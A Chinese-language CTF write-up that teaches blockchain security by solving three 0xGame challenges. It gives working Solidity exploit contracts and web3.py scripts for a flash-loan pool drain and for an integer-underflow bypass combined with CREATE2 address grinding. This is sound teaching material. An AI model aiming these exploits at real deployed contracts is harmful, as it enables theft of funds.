详解: 在0xgameCTF中手把手式教学的区块链安全入门视频 (一)_哔哩哔哩_bilibili

可以跟着视频手把手的实操一遍

肘,上链

这道题作为签到题, 解法还是很简单的, 通过这道题先具体讲一下解这个方向的题目该如何操作吧

1

这是区块链题目一般会给出的一些条件, 逐个先来解释一下

  • nc: 用带有netcat的设备连接输入此命令, 连接到题目的部署器, 可以开启区块链题目的环境

  • rpc: 远程过程调用协议, 在区块链中是节点与节点之间的通信方式, 通过这个网址, 你可以连接上题目的区块链网络, 使你可以和题目的合约交互

  • faucet: 中文译文为水龙头, 顾名思义, 你可以用它来为账户”接水”, 它可以免费分发测试用的加密货币

接下来, 你需要先使用nc连接, 看到以下画面

1

这里有几个选项, 大家可以自行翻译下, 大概就是”创建账户—>部署合约—>检查结果, 以及展示源码
最后需要满足isSolved()函数为true, 即可拿到flag完成题目

所以我们当然先要看一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract Signin {
bytes32 signin;

constructor () {}

function sign(bytes32 _signin) public {
signin = _signin;
}

function isSolved() public view returns (bool) {
string memory expected = "Hello0xBlockchain";
return keccak256(abi.encodePacked(expected)) == signin;
}
}

很简单的逻辑, 为了使isSolve()函数为true, 需要满足keccak256(abi.encodePacked(expected)) == signin

而其中signin的值我们可以通过sign()函数传入我们构造好的参数值, 赋值给signin满足等式

那么我们可以写一个合约计算下keccak256(abi.encodePacked("Hello0xBlockchain"))的值, 再手动传给题目合约的_signin参数

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract Signin {
bytes32 public signin;

constructor() {}

function calculateHash() public pure returns (bytes32) {
return keccak256(abi.encodePacked("Hello0xBlockchain"));
}
}

那么我们怎么连接到题目的区块链网络并调用我们的合约呢

首先我们需要一个浏览器插件MetaMask以及一个在线ide:Remix

然后在MetaMask中创建一个钱包, 到题目的水龙头中接水(拿到一个ETH), 并且连接到题目的区块网络中

1

然后在Remix中连接上我们的钱包

1

这样就可以通过我们的钱包账户利用Remix去远程调用这个网络中的一些链了, 接下来在nc中让题目部署好合约, 拿到合约的地址

1

在Remix中, 编译好合约, 通过At Address远程调用这个地址上的题目合约, 接下来就可以开始解题了(下面还会介绍利用脚本远程交互合约的方法)

1

调用我们的计算合约中calculateHash()函数, 拿到结果

1

传入题目合约中的sign(bytes32 _signin), 调用isSolved验证一下, 完成题目

1

然后这里再贴一个web3.py的脚本调用合约的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from web3 import Web3
import json

# HTTPProvider:
w3 = Web3(Web3.HTTPProvider("http://156.238.233.7:8545")) # rpc
print("连接状态:", w3.is_connected())

hacker = "" # attacker address
target = "" # contract address
privateKey = "" # attacker privateKey


def run(sender, func, value=0, gas=0x300000):
txn = func.build_transaction({
'nonce': w3.eth.get_transaction_count(sender),
'gas': gas,
'gasPrice': w3.to_wei(1.1, 'gwei'),
'value': w3.to_wei(value, 'ether'),
})
signed_txn = w3.eth.account.sign_transaction(txn, privateKey)
txn_hash = w3.eth.send_raw_transaction(signed_txn.raw_transaction)
txn_receipt = w3.eth.wait_for_transaction_receipt(txn_hash)
print("txn_hash=", txn_hash.hex())
return txn_receipt


# 配置abi
abi = json.load(open("0xgame.json"))['abi']
contract = w3.eth.contract(abi=abi, address=w3.to_checksum_address(target))


# 远程交互

expected_message = "Hello0xBlockchain"
expected_hash = w3.keccak(text=expected_message)
# 调用 sign 函数
sign_txn = contract.functions.sign(expected_hash)
run(hacker, sign_txn)
# 调用 isSolved 函数
is_solved = contract.functions.isSolved().call()
print(f"题目状态: {is_solved}")

theft

这道题启动和刚才不太一样, 可以直接访问这个部署器http://theft.zysgmzb.club/

1

顺便粘一下hint, 正好里面有启动题目的方法

1

看第一个hint, 按照步骤操作, 我们就成功开启了一个区块链实例, 然后和上一题操作方式就一样了

1

这道题就开始攻击一些合约漏洞了, 然后同样的先分析下源码

  • flash.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface FlashLoanReceiver {
function execute() external payable;
}

contract Pool {
mapping(address => uint256) private balances;
uint public totalSupply;
uint public maxloanamount = 100 ether;

function deposit() external payable {
balances[msg.sender] += msg.value;
totalSupply += msg.value;
}

function withdraw() external {
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
payable(msg.sender).transfer(amount);
totalSupply -= amount;
}

function balanceOf(address user) external view returns (uint256) {
return balances[user];
}

function flashLoan(uint256 amount) external {
require(amount <= maxloanamount, "Amount too high");
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "No enough balance here");

FlashLoanReceiver(msg.sender).execute{value: amount}();

require(address(this).balance >= balanceBefore, "no money back");
}
}
  • Setup.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "./flash.sol";

contract Setup {
Pool public TARGET;
constructor() payable {
TARGET = new Pool();
TARGET.deposit{value: msg.value}();
}

function isSolved() external view returns (bool) {
return (TARGET.totalSupply() == 1000 ether &&
address(TARGET).balance < 10 ether);
}
}

那么先看下第二个合约, 完成题目的条件: totalSupply的值不变(原值为1000), 并且取走贷款池的资金直到小于10eth

然后再分析下借贷合约中的逻辑, 借贷:flashLoan(), 存钱:deposit(), 取钱:withdraw(), 查询金额:balanceOf()以及一个需要重写的execute()函数

其中在借贷部分做了一些限制, 首先就是单次借贷的金额要小于100eth

然后就是最主要的最后一行的限制, 要求你通过重写的execute()中借钱进行完一些操作就要及时还钱(也称为闪电贷), 不然在调用execute()后资金池中的钱(address(this).balance)若是比调用execute()前的资金(balanceBefore)少了, 就代表你没有还钱, 也就会直接revert结束这次交易

1
2
3
4
5
6
7
8
9
function flashLoan(uint256 amount) external {
require(amount <= maxloanamount, "Amount too high");
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "No enough balance here");

FlashLoanReceiver(msg.sender).execute{value: amount}();

require(address(this).balance >= balanceBefore, "no money back");
}

那么我们可以利用这个合约的一些缺陷进行闪电贷攻击, 绕过这个限制取走这个池中的钱

在重写execute()这个函数时, 我们可以调用这个池中的deposit()把钱存进池中代替还钱, 在之后的withdraw()中还可以把存进的钱取出, 白嫖到借贷的资金, 那么我们可以根据这个思路编写一个攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPool {
function deposit() external payable;
function withdraw() external;
function flashLoan(uint256 amount) external;
}

contract exp{
address immutable hacker;
IPool immutable pool;

constructor(address _poolAddr) {
hacker = msg.sender;
pool = IPool(_poolAddr);
}

function attack() external {
pool.flashLoan(100 ether);
pool.withdraw();
payable(hacker).transfer(address(this).balance);
}

function execute() external payable {
pool.deposit{value: msg.value}();
}

receive() external payable {}
}

将远端Setup.sol中的TARGET值(借贷池地址), 传入exp的构造函数中部署好攻击合约, 通过多次调用attack()函数取走池中的资金, 完成题目

最后贴个web3.py并总结下这个攻击合约的调用过程:

Pool.flashLoan()--->exp.execute()--->Pool.deposit()--->Pool.withdraw()

通过这个流程就把池中的资金转入了攻击合约中, 最后执行payable(hacker).transfer(address(this).balance)将钱汇入钱包, 成功完成这次攻击

python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from web3 import Web3
import json

# HTTPProvider:
w3 = Web3(Web3.HTTPProvider("")) # rpc
print("连接状态:", w3.is_connected())

hacker = "" # wallet address
target = "" # contract address
privateKey = "" # wallet privateKey


def run(sender, func, value=0, gas=0x300000):
txn = func.build_transaction({
'nonce': w3.eth.get_transaction_count(sender),
'gas': gas,
'gasPrice': w3.to_wei(1.1, 'Gwei'),
'value': w3.to_wei(value, 'ether'),
})
signed_txn = w3.eth.account.sign_transaction(txn, privateKey)
txn_hash = w3.eth.send_raw_transaction(signed_txn.raw_transaction)
txn_receipt = w3.eth.wait_for_transaction_receipt(txn_hash)
print("txn_hash=", txn_hash.hex())
return txn_receipt


# 加载题目合约
abi1 = json.load(open("flash.json"))['abi']
contract1 = w3.eth.contract(abi=abi1, address=w3.to_checksum_address(target))
abi2 = json.load(open("Setup.json"))['abi']
contract2 = w3.eth.contract(abi=abi2, address=w3.to_checksum_address(target))

# 加载攻击合约
exp_abi = json.load(open("exp.json"))['abi'] # exp
exp_bytecode = json.load(open("exp.json"))['bytecode']
expContract = w3.eth.contract(abi=exp_abi, bytecode=exp_bytecode)

print("[*] 部署攻击合约")
poolAddr = contract2.functions.TARGET().call()
txnReceipt = run(hacker, expContract.constructor(poolAddr))
print(txnReceipt)

expAddr = txnReceipt.contractAddress
print("[+] 攻击合约部署在", expAddr)
expContract = w3.eth.contract(abi=exp_abi, address=expAddr)

# <-----------远程交互exp----------->

for i in range(0, 10):
txn2 = run(hacker, expContract.functions.attack())

txn1 = contract2.functions.isSolved().call()
print("题目状态:", txn1)

我哪来那么多臭钱??

和第一题同样的启动方式

1

nc连接, 先看下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;

contract Challenge {
mapping(address => uint256) public balance;
bool public solve;
constructor() {}

function Get() public {
balance[msg.sender] = 50;
}

function Transfer(address to, uint256 amount) public {
require(amount > 0, "Man!");
require(balance[msg.sender] > 0, "What can I say");
require(balance[msg.sender] - amount > 0, "Mamba out!");
require(uint160(msg.sender) % (16*16) == 239, "Sometimes I ask myself, who am i?");
balance[msg.sender] -= amount;
balance[to] += amount;
}

function check() public {
require(balance[msg.sender] == 114514);
solve=true;
}

function isSolved() public view returns (bool) {
return solve;
}
}

先看下目标, 我们需要通过Transfer()函数转给账户114514, 再使用这个账户调用check()完成题目

并且我们注意到一个细节, 本题使用的solidity版本是0.7.0, 那么会想到有一些旧版本存在的漏洞, 其中比较重要的就是本题要使用到的整型溢出漏洞

那么完成题目的关键就在这个Transfer()函数了, 我们需要绕过层层限制达到我们的目标

1
2
3
4
5
6
7
8
function Transfer(address to, uint256 amount) public {
require(amount > 0, "Man!");
require(balance[msg.sender] > 0, "What can I say");
require(balance[msg.sender] - amount > 0, "Mamba out!");
require(uint160(msg.sender) % (16*16) == 239, "Sometimes I ask myself, who am i?");
balance[msg.sender] -= amount;
balance[to] += amount;
}

对于前三行require, 我们就可以利用到上文提到的整型溢出漏洞

因为对于正常的理解来说, 由于第二个require的限制, 我们必须先调用Get()函数先为账户设置一个初始金额50, 但第三个require的限制, 使你转走的金额只能小于50, 无法达到题目要求的114514金额

但这里就可以通过整型溢出来绕过第三个require, 对于uint256的范围为0-2^256-1在0.8.0版本前, 超出这个范围的值则可以成功溢出, 例如:如果你给uint256类型的值赋为2^256, 那么最后这个变量的值会溢出为0

那么同样的, 对于require(balance[msg.sender] - amount > 0, "Mamba out!")这个限制, 如果你用balance[msg.sender]减去了一个大于这个值的amount, 那么这个值就会溢出为正数, 即满足这个require语句

所以在转账步骤, 我们可以直接为一个账户转账114514, 这样也不会在前三个require语句中revert


接下来重点就要想办法怎么满足这个限制

require(uint160(msg.sender) % (16*16) == 239, "Sometimes I ask myself, who am i?")

可以看到, 这条语句直接限制了交互者的地址, 必须满足uint160(msg.sender) % (16*16) == 239这个条件, 那我们需要想办法部署一个地址符合条件的攻击合约, 通过攻击合约去调用题目合约的函数才可以

但是我们怎么能生成一个自定地址的合约呢, 这里就涉及到比较底层的solidity生成地址的原理, 然后根据代码生成地址的逻辑构造出一个能符合条件的地址

其中solidity计算地址大体上可以分为两种方式, 分别为createcreate2: https://binschool.app/solidity-advanced/solidity-contract-address.html

  1. Create: keccak256(rlp.encode(deployingAddress, nonce))[12:]

  2. Create2 : keccak256(0xff ++ deployingAddr ++ salt ++ keccak256(bytecode))[12:]

这里演示下Create2预测出符合条件的地址, 爆破出这个符合条件的salt, 然后通过这个salt部署特定地址的攻击合约

那么我们可以写一个deployer合约, 用来在一个符合条件的地址上部署我们的攻击合约, 并通过这个攻击合约转给我们的钱包114514, 然后用我们的钱包账户去调用题目的check(), 就可以完成挑战了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;

contract Exp {
Challenge immutable target;
address immutable hacker;

constructor(address _challengeAddr, address _hacker) {
hacker = _hacker;
target = Challenge(_challengeAddr);
}

function attack() external {
target.Get();
target.Transfer(hacker, 114514);
}
}

contract Deployer {
constructor(){}
function findSalt(address target, address hacker) public view returns (bytes32) {
for (uint256 i = 0; i < type(uint256).max; i++) {
bytes32 salt = bytes32(i);
address expAddr = calcAddr(salt, target, hacker);
if (uint160(expAddr) % (16 * 16) == 239) {
return salt;
}
}
revert("Suitable salt not found");
}

function calcAddr(bytes32 salt, address target, address hacker) public view returns (address) {
bytes memory bytecode = abi.encodePacked(type(Exp).creationCode, abi.encode(target, hacker));
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, keccak256(bytecode)));
return address(uint160(uint256(hash)));
}

function deploy(bytes32 salt, address target, address hacker) public returns (address) {
Exp exp = new Exp{salt: salt}(target, hacker);
return (address(exp));
}
}

然后总结下调用过程:

  1. 爆出特定盐值, create2部署符合条件地址的合约

Deployer.findSalt()--->Deployer.calcAddr()--->Deployer.deploy(Deployer.findSalt)

  • 在Deployer.calcAddr()算出的地址上调用部署好的攻击合约进行攻击

Exp.attack()--->Challenge.Get()--->Challenge.Transfer()

  • 用收钱的钱包账户调用题目合约, 完成挑战

Challenge.check()--->Challenge.isSolved()

最后再贴一个web3.py的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from web3 import Web3
import json

# HTTPProvider:
w3 = Web3(Web3.HTTPProvider("http://156.238.233.21:8545")) # rpc
print("连接状态:", w3.is_connected())

hacker = "" # wallet address
target = "" # contract address
privateKey = "" # wallet privateKey


def run(sender, func, value=0, gas=0x300000):
txn = func.build_transaction({
'nonce': w3.eth.get_transaction_count(sender),
'gas': gas,
'gasPrice': w3.to_wei(1.1, 'Gwei'),
'value': w3.to_wei(value, 'ether'),
})
signed_txn = w3.eth.account.sign_transaction(txn, privateKey)
txn_hash = w3.eth.send_raw_transaction(signed_txn.raw_transaction)
txn_receipt = w3.eth.wait_for_transaction_receipt(txn_hash)
print("txn_hash=", txn_hash.hex())
return txn_receipt


# 加载题目合约
abi = json.load(open("0xgame.json"))['abi'] # 题目
contract = w3.eth.contract(abi=abi, address=w3.to_checksum_address(target))

# 加载deployer合约
dep_abi = json.load(open("deployer.json"))['abi']
dep_bytecode = json.load(open("deployer.json"))['bytecode']
depContract = w3.eth.contract(abi=dep_abi, bytecode=dep_bytecode)

print("[*] 部署deploy合约")
txnReceipt = run(hacker, depContract.constructor())
print(txnReceipt)
depAddr = txnReceipt.contractAddress
print("[+] deploy合约部署在", depAddr)
depContract = w3.eth.contract(abi=dep_abi, address=w3.to_checksum_address(depAddr))

# <-----------远程交互deploy----------->
salt = depContract.functions.findSalt(target, hacker).call()
print("[*] 部署特定地址攻击合约")
deploy = run(hacker, depContract.functions.deploy(salt, target, hacker))
print(deploy)
exp_addr = depContract.functions.calcAddr(salt, target, hacker).call()
print("[-] 攻击合约部署在", exp_addr)

# 加载攻击合约
exp_abi = json.load(open("exp.json"))['abi'] # exp
exp_bytecode = json.load(open("exp.json"))['bytecode']
expContract = w3.eth.contract(abi=exp_abi, bytecode=exp_bytecode, address=w3.to_checksum_address(exp_addr))

# <-----------远程交互exp----------->
print("[*] 进行攻击")
attack = run(hacker, expContract.functions.attack())
print(attack)

# <-----------远程交互题目----------->
txn_check = run(hacker, contract.functions.check())
print("[+] 检查是否完成")
balance = contract.functions.balance(hacker).call()
print("账户金额:", balance)
txn_solve = contract.functions.isSolved().call()
print("题目状态:", txn_solve)